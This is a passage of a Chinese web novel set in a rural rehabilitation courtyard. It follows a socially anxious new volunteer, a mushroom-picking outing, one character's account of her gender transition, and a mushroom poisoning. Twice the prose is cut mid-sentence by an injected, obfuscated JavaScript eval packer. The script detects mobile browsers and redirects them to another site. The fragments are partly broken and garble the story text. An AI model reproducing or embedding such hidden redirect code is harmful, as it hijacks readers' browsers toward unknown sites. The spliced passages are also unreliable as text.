“谢了。你也是医生吗?”司机倒是外向,和吴措搭起话来。 “志愿者,和米玉一样。”吴措说。 吴措和司机把行李搬到小院,米玉仍旧站在原地没动,她手里拎着一个米黄色的小皮包,两手紧紧握在包带上。 “你的房间帮你整理好了,被子还在晒,要先去看看你的房间吗?” 在接到电话的时候,呼延就被告知米玉有严重的社交恐惧症,大学之前一直是请家教线上教学的,大学后也住在家里,上课仍旧是线上。 家里人希望能借米玉在小院的机会,让她的社恐稍微改善一些。 一般来说,像米玉这么严重的社恐出门都是问题,呼延没想到米玉会答应来小院,接到人后也做好了会遇到很大交流障碍的准备。 没想到米玉慢慢点头,说了第一句话,“谢谢。” 呼延松了口气,“别和我客气。你知道吧?我和你堂姐妙妙是好姐妹,以后你就叫我姐就行。” “嗯。” 米玉的到来,最高兴的是向晚星,虽然米玉大了星星三四岁,但比起二十几岁的呼延,和五六岁的迟迟,已经是小院里和她年龄最接近的女孩。 米玉到的当天,是向晚星原本要外出做治疗的时间,她特意延迟了一天准备等着米玉,谁知道上午突然咳嗽不止,被宋殊硬带着去了省医院。 被宋殊带走前,向晚星再三请求呼延,等米玉到了的时候一定要告诉她。呼延表面答应,实则轻车熟路阳奉阴违了。 虽然星星最近症状有渐好的趋势,但这几次的治疗医生都是让她住一到两天院做后续观察的,如果星星因为她的传话提前跑回来,宋殊肯定会打死她的。 只是呼延刚把米玉接进门,星星却像是装了摄像头一样,卡着点一个视频电话打了过来。 “真真姐姐!米玉姐姐是不是到了?”星星在电话另一端兴奋道,她一身病号服坐在病床上,表情雀跃得生龙活虎。 “没到。”呼延睁眼说瞎话,避开相机用口型指了指米玉房间的方向,示意她往那走。 “你骗不到我的!我知道米玉姐姐已经到了!”星星表情得意,“可以让我和米玉姐姐打个招呼吗?毕竟是第一天,我怕她会觉得我不礼貌。” 呼延看了眼身边低头缩着脖子的米玉,心说这时候忽然间打招呼,对于米玉来说才是不礼貌吧。 “真没到。”呼延搪塞道,张口就来:“说是飞机晚点晚到一天,你安心住院,明天带你一起去接你米玉姐姐哈。我还有事先挂了,明天见小星星。” 呼延匆匆挂了电话,这时她和米玉也刚好走到了房间门口。 “你要先自己休息一会儿吗?或者收拾一下自己的行李。晚饭时间6点整,如果你第一天不适应和大家一起吃饭,我可以给你打包一份送过来。对了我可以加你一个微信吗?这样我在找你之前可以先给你发条消息。” 呼延一口气说完,眨眨眼看着米玉的反应。 米玉抿了抿嘴唇,开口,声音微弱,“我的工作,是什么。” “你是说志愿者的事啊。”呼延心说这小孩还挺有责任心的,社恐了点,但也算不上绝对的逃避型,有的治。 “我们这的活不多,你刚才也看到了,帮忙搬行李的那个哥哥和你一样是志愿者,整天摸鱼也没人说什么,所以你不需要太在意这些。” 米玉提了口气想说什么,但最终没说出来,只是点了点头。 “你的主要任务就是帮忙看院子里的熊孩子,不过这些还是可以等你熟悉适应一些后再开始,你当下自己怎么舒服怎么来就行。” 呼延话音刚落,院子里就应景地传来两道熊孩子的尖叫声,一道来自于王小果,另一道也来自于王小果。 “对,就是这些。”呼延也不掩盖,“任重道远,米玉加油!” 米玉扭头朝院子里看了下,但刚好视角被墙挡住,她又把视线移了回来。 “就这样,你先休息,有事叫我。”呼延刚要走,又忽然想起来,“哦对了,微信?” 米玉从她米黄色的提包里拿出手机,扫了呼延的微信添加了上去。 米玉的头像是个同样米黄色的乌萨奇,倒是和她一身的打扮十分和谐。 加了微信,呼延准备走,只是刚转身,身后就传来一道弱弱的声音,“呼延、姐。” 呼延回头,“嗯?怎么了米玉。” 她像是鼓足了很大的勇气似的,犹豫片刻开口:“刚才给你打电话的女孩子,是生病了吗?” “你是说星星?” 米玉顿了下,点头。 “是。”呼延说,“不过她积极治疗,已经快要康复啦!明天带你们见面。星星是个很好的女孩,你们肯定能成为好朋友。不过她可能刚开始会有些过度热情,你稍微做一些心理准备。” 米玉咬了咬嘴唇,再次点了下头。 从车子到房间不到10分钟的交流已经耗费了米玉大半的精力条,回到房间后米玉一下子把自己摔在了床上,闭上眼睛,试图给自己洗脑现在还在她自己的房间。 但很快便洗脑失败了,这里的一切和家里都不一样,陌生的环境、陌生的床,还有陌生的人。 可又似乎没有她想象得那么可怕。 米玉对环境敏感,对人类的善意恶意更敏感,她能感受到呼延在和她交流时,小心翼翼照顾她情绪的分寸感。 来小院是米玉自己主动提出的,她以前觉得她可以自己和自己生活一辈子,完全不需要交朋友、有社交,是后来她唯一的朋友——从小一起长大的堂姐米妙妙告诉她的,这个世界上还有这么一个地方,不需要担心算计,也没有争吵,是个世外桃源一样的存在。 只是眼下米玉最烦恼的,是那个叫“星星”的女孩,她甚至无法应付正常的社交,更何况是这么热情的社交。 想到这里米玉就开始焦虑起来,躺在没有被子的床上打起滚。 呼延让她做好心理准备,但她完全做不好,一下午都在想明天该怎么表现才能让别人觉得她不是个怪咖。 米玉的心理准备还没做成功,两小时后她的房门就被敲响了。 “米玉姐姐在吗?我是向晚星,你好!” 说实话,当下米玉想要装睡,不是说第二天见吗?为什么现在就来了。 米玉什么都没做,什么话都没说,就感觉自己已经有些疲惫了。 好累啊,有点想回去了。 不想和任何人说话。 “星星——!”呼延的声音随后而至,“你怎么现在就回来了?谁告诉你米玉住这里的——又是你们仨打小报告是吧?我说呢,你那会儿怎么那么笃定人已经到了,原来是有内奸!” 向晚星:“我想第一时间和米玉姐姐打招呼嘛。而且今天治疗特别顺利,医生说情况好的话,我明年可以半年去医院复查一次就可以了。” “这么好?”呼延的声音惊喜,“那好吧,不过米玉在休息,你还是等她休息好了再来找她吧,还有很长时间可以一起玩呢,不着急这一个下午。” 门外声音停了几秒,传来向晚星有些失落的声音:“好吧。” 而后是“笃笃笃”几人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14577791|153914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离开的脚步声。 米玉有想要把人叫住的冲动,但还是没能把自己从床上拉起来。 明天再说吧。 还有很长时间呢。 …… 向晚星没有见到米玉,整个人的情绪都沉了下来,呼延当然注意到了,她带着向晚星到院子里,把躺在秋千上的夜宵扔出来,将宝座让给了向晚星。 “画是送给米玉的?”呼延指了指向晚星手里卷成一束的纸张。 “嗯。”向晚星有气无力应了一声。 “我看看?” 星星把画递出去,呼延展开,看到上面是用铅笔画的一个女孩素描图,长发飘飘,笑得灿烂。 “这是谁?” “米玉姐姐啊。我来的路上画的。” “啊?” 呼延的反应星星很不满意,她把画抽走重新躺下,用画纸盖住自己的脸,声音瓮里瓮气,“我想象中的米玉姐姐。像吗?” “完全,不像。”呼延迎面就是一击。 “啊——”星星在秋千里蛄蛹了一番,“不想理真真姐姐了!” 再然后真就呼延怎么喊她都不搭理了。 另一边,吴措正在和张清弛在石桌旁下象棋。 “将已无路可退,你输了。”张清弛手指点了点石桌,说。 吴措对着棋局看了两秒,失笑了声,“是啊,的确无路可走了。” 两人收棋重来,张清弛摸棋的手没停,抬眉道:“心不在焉?” “没有。” “这可不是你的水平。” 张清弛自从上次发病后一直没有再犯,但为了以防万一或者说出于愧疚,他自己在小房间隔离了一个月,这一个月吴措时不时过去和他一起下棋打发时间,一来二去两人成了棋搭子。 吴措缓慢清晰地说:“这就是我的水平,被你发现了。” 张清弛短促一笑,“我都不稀得戳穿你。” 吴措拖着慢悠悠的调子,“求你戳穿我。” “从呼延下来,你的注意力就没放在这盘棋上了吧。”张清弛说。 吴措动作卡了半秒,表情如常,“棋可以乱下,话可不能乱说啊老张。” 张清弛“啧啧”两声,“就你那点小心思吧,别人不知道我还能不知道吗?” “不过我劝你收敛点。”张清弛话锋一转,“我可是站在小陆这边的。你啊,也不错,就是来晚了。” “小路?”吴措停下来,抬起头,“路兴升?”也就是路路。 “小陆啊,你来这么久,不知道呼延对象的名?” 小路……他还真是第一次听。 他还大路呢。 “你见过他?”吴措装作不经意问出口。 张清弛说:“何止见过,我还有合影呢。” “哦。” 棋盘摆好,张清弛先行。 吴措手捏着“兵”半晌没动。 “嘿嘿,憋坏了吧?想看吧?”张清弛毫不留情戳穿他。 吴措挪动棋子,吃掉对方的兵,“想多了。” “真不想看?” “下棋。” “我看你嘴硬到什么时候。”张清弛倒是见怪不怪,“这样,这局你赢了我给你看怎么样?” 吴措没说话,开始默默下棋。 五分钟后,棋局结束。 “你输了。”吴措说。 “输了就输了呗。”张清弛说,“再来。” 吴措:“……” 余光瞧见吴措吃瘪又说不出口的神情,张清弛乐了,“给你看!我老张可不是说话不算数的人。” “我没想看。”吴措说,“不过你非要让我看,那我就勉强看一眼。” 吴措表情淡然,但眼神已经明显不自然,张清弛从相册里开始翻,划了许久终于停下来。 “说好了啊,看完可不准自卑。”张清弛说。 吴措切了声。 就算对方长了三头六臂,也没有到让他自卑的程度。 吴措只是好奇,是什么样的人,让呼延这么快就忘了陆离。 最好是长了三头六臂。 手机递过去,吴措刚要接过的时候,旁边忽然蹦出一个人来。 张清弛的手机立刻收了回去,心虚地看向不知道从哪冒出来的呼延。 要是被她知道他偷偷给吴措看小陆照片,肯定要和他没完没了。 “谁赢了?”呼延站在两人之间瞟了眼棋局,没看懂。 “不够明显么。”吴措眼皮动了动。 他意识到自己在这一刻竟然松了口气。 总结原因,吴措觉得自己也许还没有做好准备,也或许,他觉得自己和对方的第一次见面,应该是面对面。 这应当是一次正式的、郑重的见面。 “我哪看得出来。”呼延托着腮蹲下,“肯定是你输了吧,看你的表情,一副丢了魂的糗样。” 吴措:“……” 张清弛毫不留情笑了出来。 “好了不说这个。”呼延随意摆弄了下桌上的棋子,“米玉不是刚来么,我打算明天带他们几个小朋友一起上山采蘑菇破破冰,特任命你为此次‘破冰行动’的大总管,怎么样?感动吧?” 吴措面无表情,“真是太感动了。不过你没记错季节吧?现在是冬天,有蘑菇采吗?” “瞧你这没见识的样子。”呼延撇嘴嘲笑,“冬天的这波菌子才是极品好吧,松茸、牛肝菌……说的我有点饿了,吃点东西去。” 呼延扶着膝盖起身,“明天上午9点半,记得准时带他们去哦。” “等等。” “又怎么了,吴大少爷?” “听你话里的意思,你不打算去?”吴措微仰头,呼延于他背光而站,发丝铺了一圈细细的金光,吴措眯了眯眼睛望着她。 “明天我要带夜宵再去一趟宠物医院,她今天又上吐下泻的,刚才喂冻干都不吃。” “我送你过去。”吴措说,“先送你,下午带他们采蘑菇。” “不用。”呼延摆摆手,“我男朋友明天过来,我们一起去。” 空气凝住片刻,老张都有些不忍心看下去了,低头装作很忙的样子开始盘棋子。 吴措语气平常,“哦,什么时候来。” “什么什么时候来。” “你男朋友。” “他不来小院,我们在医院汇合。”呼延说到一半察觉不对,双眼两把刀一样钉向吴措,“你又要干嘛!” 吴措目不斜视看着棋桌,“随便问问。” “你最好是。” 说完呼延转身,大摇大摆朝食堂的方向离开了。 吴措继续和老张下棋。 没再赢过。 33. 米玉 前一天晚上,小院有三个人没有睡好。 一个是初来乍到的米玉。晚饭后呼延微信告诉她第二天一起去采蘑菇的事,米玉前半夜几乎没睡,据说是一群人一起去,米玉光是想到要和那么多人一起走路就焦虑得不行,还好手头有事做,不是站着干聊天。 于是她后半夜从床上弹起来做了一晚上的菌子辨识攻略——这样她就不需要开口问别人哪些可采哪些不可采了。 另一个是向晚星。米玉晚饭的时候没有出现在食堂,向晚星去问呼延得知了她社恐的事,向晚星反思了一整晚,觉得自己白天确实有些过于热情了,这也不能怪她,自从生病休学以来,她已经有很久没有同龄朋友了。 她对自己明天表现的要求就三点:克制、克制、再克制! 最后一个,是闭眼养神了五个钟头都没能睡着的吴措。 说起来,呼延已经很久没有提她那位神龙见首不见尾的男朋友了。 这个叫什么“小路”的人,神秘得就像是一个不存在的人,如果没有其他人的话做佐证,他都要以为这个人是呼延编出来唬他的。 吴措对这人的好奇程度在凌晨达到了巅峰。 他睁开眼睛,从抽屉里拿出那包从到这以来只动了一根的烟,推门走到了阳台。 呼延一觉醒来,顶着一副虽然睡饱了但还可以再睡2个小时的脸推开房门,迎面就看到了站在走廊的吴措。 吴措两条长腿交叉站立,抱臂朝后靠在走廊窗沿,眼睛半闭不睁,听到开门声轻抬了下脑袋。 “醒了?” 呼延瞅了他一眼,“胡子没刮?你不会一晚上没睡吧。” 烟的痕迹早被清理掉,走廊的风吹散了烟味,枥城的冬天不冷,但在外面站上一夜也绝对说不上舒服,吴措浑身沾了一层湿冷的寒意。 “有体温计吗?”吴措问。 呼延想了下,说:“我房间没有,我妈那里有,要我帮你拿吗?” “不用。” 吴措拒绝了。下一秒,他向前迈了两步,走到呼延面前。 “量一下,呼延医生。” 冰凉的手攥着呼延的手腕,将她的手贴到了自己的额头上。 呼延的手不算小,也到不了柔软无骨的程度,只是带着股刚从被窝里带出来的热气,激得吴措呼吸停了半秒。 呼延却是被惊到了,这缺德吴三又要搞什么鬼! “你要干嘛!”的质问刚从口中脱出一个音节,在触摸到吴措的额头时,呼延的话就原地吞回还拐了个弯—— “我靠!吴措你把自己煮了?” 表情从惊讶到恼怒,再到疑惑,最后重回惊讶。 碰到患者呼延医者本能上来了,手在吴措额头上停了三秒,又摸了摸自己的额头确认,又换了只手去摸吴措的额头。 “你好奇怪啊,额头这么烫怎么脸一点都不红,明明皮肤这么白按理说现在应该已经成了红鸡蛋了,”呼延纳闷道,而后又恍然大悟,“懂了,这就是脸皮厚的威力。” 吴措深呼吸两次,才摁下去和呼延互怼的冲动,他抬了抬眼皮,“带我去医院吧。” 桃花小院本质上称不上医院,只是提供康复治疗服务的疗养院。 虽然常年给附近村民看病,但只看像吴奶奶这种需要维护疗养的“大病”,头疼脑热的小病反倒不是小院的经营项目。 如果是流感发烧,一般人会去镇上医院,如果病大点或者再讲究点,就会去市里的人民医院。 人民医院和呼延常去的宠物医院很近。 “医院?”呼延露出不理解的神情,“去什么医院啊,不就是发烧么。你这点病我都能给你看了。” “小院没药。” “你开玩笑嘛?别的没有,退烧药还能没有吗?我妈药方里有专门治风热的,我去找——不对,前天下雨,那盆晒好的中药我又忘收了……还没想好怎么和我妈交代呢……” 呼延说着说着,忽然发现自己现在摊上的事好像比较大。 吴措就这么居高临下看着她一脸复杂又精彩的表情。 “算了,反正又不是第一次。”呼延停止内耗,迅速和自己和解。 “哦对了,还有你。”呼延的注意力重新放到吴措身上,“你没事,你先休息一天,我去医院顺便就帮你拿了。” “我药物过敏。” “哪个成分。” “要测。” “那你以前发烧都吃什么药?” 吴措说:“不吃。” 这倒不是谎话,吴措感冒流感从来不吃药,他觉得反正不会死,没必要为难自己的舌头。 小时候他妈会想办法骗他吃,用糖哄,用果汁送,后来他妈去世,吴措就再也没吃过感冒药。 ——可是,不吃药怎么知道自己药物过敏的? 呼延托下巴沉思,盯着吴措上下打量,“你不会是打别的主意吧?” “什么主意值得我发一次高烧。”吴措和呼延对视,眼神倒是坦荡。 呼延想了下,确实也是,刚才摸起来吴措发烧至少有38度,不至于为了跟她出去一趟把自己弄成这样吧。 说不定正是因为吴措过敏才不吃药的,因果关系决定了事情的本质,这样说比较合理一些。 而且她现在也没那么自恋,觉得吴措好像对她有意思似的。 这么久的相处下来,呼延也慢慢品出来了,吴措招惹她,和对她有意思没一毛钱关系,纯粹就是因为这人呐,本来就是生贱生贱的! 出神间,八哥的声音由远及近凑了过来,“怎么都在这,呼延起这么早啊。诶吴措我记得上次去挖草药的时候有两个药筐和小铲子是你收的,你还记得在哪吗?” “储物间靠左墙角。”吴措说。 “行,我去找一下,你收拾好下楼吃饭,我们待会儿集合。” 八哥说完要走,呼延叫住他,“吴措今天不和你们一起去了,他发烧了,我中午给他带药回来吃。” “你发烧了?”八哥看向吴措。 吴措没说话。 不想说。 “这有啥,我那刚好还有盒特效药,上次封筝剩下的,药效贼好45分钟快速见效,我给你拿来,你吃完出发,没到山下烧就退了。” 吴措不想说话。 “那敢情好,”呼延一乐,“八哥你给他拿药,我先去洗漱了。” 呼延看也没看吴措,从他旁边匆匆路过。 “要不你直接和我一块下楼吧,”八哥冲吴措说,“这药是饭后吃的,咱先去吃早饭。” “不吃了。”吴措表情淡淡。 “不吃饭?还是不吃药?” “都不吃了。”吴措说,“我回去补个回笼觉,你们出发喊我。” 说完没等八哥反应过来,吴措转身回房,“嘭”一声关了房门。 “这吴措。”八哥总结这道不大不小的关门声,“指定是又和呼延闹脾气了。” …… 这次采蘑菇的山离桃源村稍远些,除了封筝其他人都是第一次去。 山下的路又是小道,不好骑车,更没法开车,约摸半小时的路程,封筝拿了个小旗子导游似的走在前面带路,八哥和吴措走在队伍末尾,很有行军路径的阵仗安排。 中间,是一群叽叽喳喳的小孩。 声音最大的自然是王小果。王小果寒假作业需要每日打卡,高梦秋懒得辅导,给他配了个能搜答案的新学习机,这又成了王小果这两天炫耀的资本。 “迟迟,你和我牵手走路,一会儿到了山下我给你玩10分钟。”王小果抱着自己的学习机朝迟迟晃了晃。 迟迟麻花辫一甩,“我才不玩你的学习机。” “为什么不玩?我这里面有好几个游戏,蜘蛛纸牌、俄罗斯方块,还有会说话的猫,很好玩的!”王小果急着推销。 迟迟拎着个红色的塑料小桶和小黄豆并肩走着,“你那些东西都没意思。” “怎么没意思,你都没玩怎么知道,你妈妈没钱给你买,你可以找我借。”王小果说。 迟迟:“我妈妈说大自然才是最有意思的老师,对吧?小黄豆。” 小黄豆点点头,他手里拿着出发前呼延给他用草叶绑的螳螂,随着走动一跳一跃,活灵活现。 “真好玩,我要让真真姐姐也给我做一个。”迟迟伸出自己的小手指,在草螳螂触角上碰了下,发出“咯咯”的笑声,“就像真的一样!” 谁知道下一秒,草螳螂忽然从小黄豆手里飞了出去。 王小果把草螳螂抓过去狠狠摔在地上,又在上面使劲踩了两脚,“什么破东西!穷人才会玩这种草做的破玩具,我要让我妈妈给我买一百个机械螳螂、螳螂乐高!” 前排探路的封筝听到动静回头,“干嘛呢王小果!你为什么扔别人的东西。” 小黄豆愣了两三秒,呆呆地走向地上被踩扁了的草螳螂,蹲下拾起来,但已经不成样子了。 “螳螂、螳螂……” 小黄豆一开始还在小声念念,后来声音越拖越长,音量越来越高,几乎是尖叫起来。 封筝小跑过去拿过草螳螂试图修复,结果却把本来就有些骨断筋连的螳螂腿给弄断了。 小黄豆大哭起来。 封筝:“……对不起啊小黄豆,姐姐给你赔好不好?” 小黄豆哭声不止,走在后面的吴措和八哥也走近前来,但这种状况任谁一时半会儿也都解决不了。 一行几人,最紧张的却是米玉。 怎么回事……为什么会突然哭了? 妈呀,呼延姐说我的任务是带孩子,这小孩哭了我是不是该哄啊,可是怎么哄啊…… 完了完了。 算了算了。装没看见。 米玉下意识后退了一小步,目光中却刚好看到离她不远处的向晚星在看向她的方向,米玉没有转脸去确认,没事的,她什么都没看见…… “方哥给你重新做一个好不好?”八哥蹲下来跟着一起哄,“这螳螂怎么做的来着?封筝你会吗?” 封筝更是手工白痴,平时带小院病人做手工课,她都是倒数第一名。 但眼下就算十秒之内做出来个一模一样的螳螂恐怕也难以哄住小黄豆。小黄豆不是在任性发脾气,他只是感受到自己的所属权被侵犯,又发病了。 这时,吴措从口袋里拿出一个铝制小罐,从里面倒出两粒药片出来,递到小黄豆嘴边,不由分说给他塞进去了。 小黄豆正张嘴大哭,没料到会有这么个东西进嘴,愣住一下不由自主吞了下去。 然后哭声戛然而止。 封筝和八哥面面相觑。 神医啊,什么灵丹妙药。 小黄豆眼泪还挂在脸上,也是同样疑惑的神色看着吴措。 吴措又倒了一粒出来,扔进了自己嘴里。 “维他命C,从呼延那拿的。”吴措说。 封筝&八哥:…… 这也行? 其实关键的根本不是吃什么和看什么,吴措从对呼延处理小黄豆发病的观察总结出来,在小黄豆发病不是特别严重的情况下,最重要的是,打断。 把他从这种情绪中打断出来。 而且—— “维他命……”小黄豆口中念念,“是维持生命的药。” 吴措抬手摸了摸小黄豆的头,笑笑说:“小黄豆说得对,要再吃一粒吗?” 小黄豆摇头,“不能吃多。” 迟迟举手:“我要吃我要吃!” 气氛缓和,众人松了口气。 “什么维持生命的药!他们骗你的!”王小果抱着学习机盯着小黄豆,他很不满意所有人注意力全被小黄豆抢光了,“那就是普通的维生素。” 这回封筝走过去一把把王小果嘴捂住,“就你话多是吧?再乱说话让八哥把你送回小院。” “我就说我就说!”王小果被捂嘴也不服,挣扎着从封筝手下跑出来。 他指着封筝喊:“坏人!坏封筝!我妈妈说你其实是男的!你假装女的!你还有小鸡鸡呢!” 空气凝滞了。 乌鸦都不敢飞过。 米玉想把自己埋了。这都是什么事?天呐,这是什么信息量……天呐天呐。 她第N次打起退堂鼓,这是最响的一次。 吴措摸了摸鼻尖,他承认自己此刻也被这条信息冲击到了,他不歧视任何人群,只是没想到一起相处了这么久的女孩其实是个男的。 等等,那八哥? 吴措努力让自己的视线不要看过去。 不过,小孩子的话也不一定要当真,尤其是王小果,这孩子十句话里有一句话是真的就很了不起了。 “你妈妈说错了哦。”封筝缓缓站起身,露出个优雅淡然的笑,“我3个月前已经完成了最后一次变性复诊,现在是完完整整的女孩子了。” 3个月前……吴措回忆起来,不就是封筝和香香女士回老家扫墓的时间么? 所以当时根本就不是扫墓。 “那你也有小鸡鸡!”王小果指着封筝喊。 “你有小鸡鸡吗?”封筝反问他。 “当然有!我是男子汉!”王小果像个小公鸡一样昂首道。 封筝温柔地对着王小果笑起来,慢慢走近到他面前,又单膝蹲下指着他的裆部,“那姐姐明天带你去切了好不好?就像姐姐一样。” 王小果表情僵住,学习机差点从手里滑落下去。 “你……” “别害怕,很快的。”封筝此刻的笑脸在王小果看来和鬼脸没什么两样,“医生叔叔一刀下去就割掉了,就是有点疼,不过小果是男子汉,不会怕的对不对?” “哇——”王小果撕心裂肺大哭起来,两秒后裤子湿了。 八哥走上前,“你说你吓唬他干嘛。” “我乐意。”封筝翻了个白眼,转身继续带路,不打算收拾残局。 八哥扶着王小果的肩膀,把哭得昏天黑地的人往回带,顺道对吴措说:“你跟他们走吧,我先带他回去换裤子了。” 吴措点点头,目送八哥离开。 剩余几人继续赶路。 除了全程懵圈的迟迟和小黄豆,其余人都有些心不在焉。 又走了几百米到了目的地,封筝倒是落落大方,“记住,见手青见到喊我,我来采,不认识的菌子先不要动,问我。颜色鲜艳的更不要动,问我。全体明白?” 一群不是很齐,更不是很有力气的应声:“明、白……” 几人四散开采蘑菇,米玉选了个安全区,找到个两抱粗的大树,采根部的菌菇,这种菌菇她昨晚查过,虽然卖不出什么好价钱、味道也一般,但可以确保的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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封筝也听到动静赶过来,“来来来,让我来!太好了,没想到这个季节还能挖到见手青,呼延真没骗我。晚上有口福了,好样的米玉!” 米玉讪讪道:“我都不知道……” “我这里也有见手青!封筝姐姐!”迟迟在另一边大喊。 封筝走过去,“嗐,你这哪是见手青,让小黄豆给你科普一下,这是什么?” 小黄豆:“黑松露。” “对咯。”封筝从两个小孩的筐里又挑出一些不能吃的,“你俩捡着玩就行,回去后记得和我一起去洗手再去吃饭哦。” 处理完两个小朋友的菌子,封筝又走到吴措旁边,无情地把他筐里几乎所有的菌子都扔出去了,“你这些菌子能把整个小院毒死三遍了。” 吴措手肘搭在膝盖上,匆匆撇脸看了封筝一下,又收回视线,用铲子挖树干上的干蘑菇。 “想问就直接问,这个话题对我来说不算忌讳。”封筝说。 吴措蘑菇挖断了根,他拿起来掸了掸蘑菇上的土。 “没有。” “还记者呢,一点求知欲都没有。”封筝嘲他。 封筝的筐里菌子也不多,勉强盖了个底,一来冬天菌子确实稀少,二来她光跑老跑去管别人了,都没来得及蹲下来好好挖。 她在吴措旁边蹲下,又把吴措放进筐里的蘑菇扔了出来,“这个特别、特别、特别难吃。” 吴措转过脸,一脸无语。 封筝笑出来,“终于敢看我了。” 吴措跟了笑了下,“抱歉啊,实在是作为一个女生你太成功了,这是我完全没想到的事——我这样说,会冒犯到你吗?” 封筝歪头一乐,“我可太爱听这话了。” 她从旁边挖了棵和刚才扔出去的蘑菇模样差不多的,放到吴措筐里。 “这个才是能吃的。还有,你也不用觉得尴尬,我从三岁的时候就是女孩打扮,我都不知道我男人的样子是什么样,所以性别这个话题对我来说,完全没杀伤力。” 她说着,想到什么忽然噗嗤笑出来,“不过就是当初把香香女士吓了一跳。她把我接回来的时候以为我是女孩,晚上给我洗澡看到我下半身,尖叫着一路跑到了门外。” “但她也是第一个支持我做女孩的人。”封筝回忆起来,嘴角带笑,“上学的时候同校学生都觉得我是异类,女孩剪我的裙子,男生往我被子上泼水,香香女士就单枪匹马跑到我班上,一人单挑我们班所有人,然后每天接送我上学,后来就没人再当着我的面说什么了。” 吴措想起当时香香女士误以为呼延把封筝被子弄湿的事,原来都是有缘由的。 “后来我想做手术,告诉香香女士以后,她回房间哭了一晚上,我以为她是不同意,谁知道她和我说,她查了一下,做手术要几十万,她养老金要被我这个小倒霉蛋花光了。” 封筝说起来这件事,表情轻松愉快,似乎是在回忆一件很美好的事情。 “但后来手术后需要复查和保持,我每次咬牙喊出声,香香女士那眼泪就像是不要钱似的在旁边掉,我就知道,原来她不是心疼钱,只是心疼我。” 说话间,吴措的菌子也采了一小层,封筝看了眼,没再给他扔出去。 “香香女士对你真好。”吴措说。 “当然。”封筝扬眉笑了笑,“我俩虽然是临时祖孙,但是真的亲如姐妹。” 吴措是服了封筝的歪逻辑了,这绝对是被呼延带坏了。 他正想着,封筝又把手伸进了他的筐里,“刚才氛围不对,现在可以扔了。你这些都不能吃,放弃吧吴大记者,和迟迟他俩一起捡着玩得了。” 吴措:…… 另一边,米玉继续挖她的安全蘑菇,只是不一样的是,现在向晚星就蹲在离她不到一米的地方。 在心里把台词想了三四遍,米玉才开口,“昨天听呼延姐说你来找我了,抱歉我有点累睡着了没听见。” 米玉主动搭茬,向晚星眼睛都亮了,挪着步子又朝米玉走了半米,“我知道!我还以为你讨厌我呢,刚才都不敢和你说话!” “……没有。”米玉弱弱说。 原来向晚星也以为她讨厌她。 “那就太好了!”向晚星兴奋道,“你知道吗?我还给你画了一幅画,不过昨天被真真姐姐说完全不像打击到了就把画锁到床底下了,今天见到你我才知道真真姐姐的评价真是一点都没冤枉我。” “是吗。”米玉试着接话。 “对啊!我以为你是长头发呢。”向晚星说,“不过短发也很可爱,我一直想剪短发,但没这个勇气。但现在看到你,这个想法又活跃起来了,我觉得过几天可以去剪一个,和你一样的,我们剪闺蜜发型怎么样?” “啊?……”还有这种东西呢。 向晚星察觉到米玉表情不自然,意识到自己似乎又没克制住,抱歉道:“对不起啊,我是不是有点越界了。” 米玉抬抬头,又低下去,“没有。可以剪。你下巴窄,剪短发好看的。” 向晚星高兴起来,“太好了!那我这个周末就去剪。对了,我再给你画一副画吧,你想要中国画还是油画,还是版画?” “你都会吗?”米玉惊讶。 “对啊,我都是自学的,但我画得一般,不过真真姐姐说我有天赋,假以时日肯定能开画展。”向晚星说着有些得意,她很信呼延的话,呼延说她可以,她肯定可以。 “真厉害。”米玉真心感慨。 “小意思啦,你选一个吧。” “那就中国画吧。”米玉说,“谢谢你。” “不客气!”向晚星凑过去肩膀和米玉碰了下,“那我们现在就是朋友啦?” “嗯。”米玉点头。 交到一个朋友了。 34. 中毒 小院刚建成的第一年,出过一次菌子中毒事件,好在当时只有呼延封筝几个人,吐了一晚上,挂了一晚上水就没事了。 但从此以后但凡吃菌子,不管是外面买的,还是自己采的,封筝都慎之又慎,非得检查三四遍才下锅。 这次也不例外,封筝在厨房盯着兰姨,把她一个个调好的菌子下进去才放心下来。 兰姨觉得她大惊小怪,“我在这生活了四十多年了,还能不知道哪种菌子能吃,哪种不能吃吗?看你紧张的。” “小心驶得万年船。”封筝说,“现在小院人多,吃坏了谁都负不了责任不是。” 封筝走了没多久,呼延就来了,她是闻着味来的,“好鲜啊,好久没在小院吃到这口了,真是提前过年了。都怪筝妈,每次那个小心哦,害得一年到头吃不到两次这么好喝的菌菇汤。” “什么筝妈。”兰姨哭笑不得,“回头让你妈听见,又要骂你了。” 呼延做了个鬼脸,“你不觉得封筝比我妈还啰嗦吗?” 兰姨顿了顿,点头,小声道:“还真是。” 两人互望,都笑起来。 没一会儿,锅开始沸腾,呼延吞了吞口水,“差不多了吧?” “按理说是时间到了,”兰姨看了下手机,“但俗话说,小心驶得万年船,毕竟有见手青,再煮五分钟吧。” 呼延迫不及待掀锅,“哎呀兰姨你怎么和筝妈似的,不管,都这么久了,再煮不鲜了,我先尝尝咸淡。” 说罢拿起勺子尝了一口。 然后呼延就成了这天晚上唯一的见手青受害者。 第一个发现的人是吴措。 在听到隔壁动静之前,他正在做一个混乱的梦。 梦里回到了母亲带他离开的那个课间,他带着上帝视角劝母亲放弃自己开车的方案,他们租了一辆车离开,并且成功逃离了那座有傅惟的城市。 但在下一秒,司机转过头来,脸却是傅惟的脸。 吴措带着满脸泪痕的母亲从车里跑出,可跑着跑着手下牵着的人却没了,他发现自己跑进了一个封闭的房间,是那个锁了他四年的精神病院。 这次他把前来送饭打针的医生打晕了,逃出去第一时间去找了陆离。 陆离却好像在生他的气,冷脸质问他:“你答应我的为什么没有做到?你在干嘛?你对真真做了什么?” 陆离的脸越逼越近,压迫着他不停后退。 “陆离!” 一道声音冲破现实和梦境,让吴措一个激灵从梦中醒了过来。 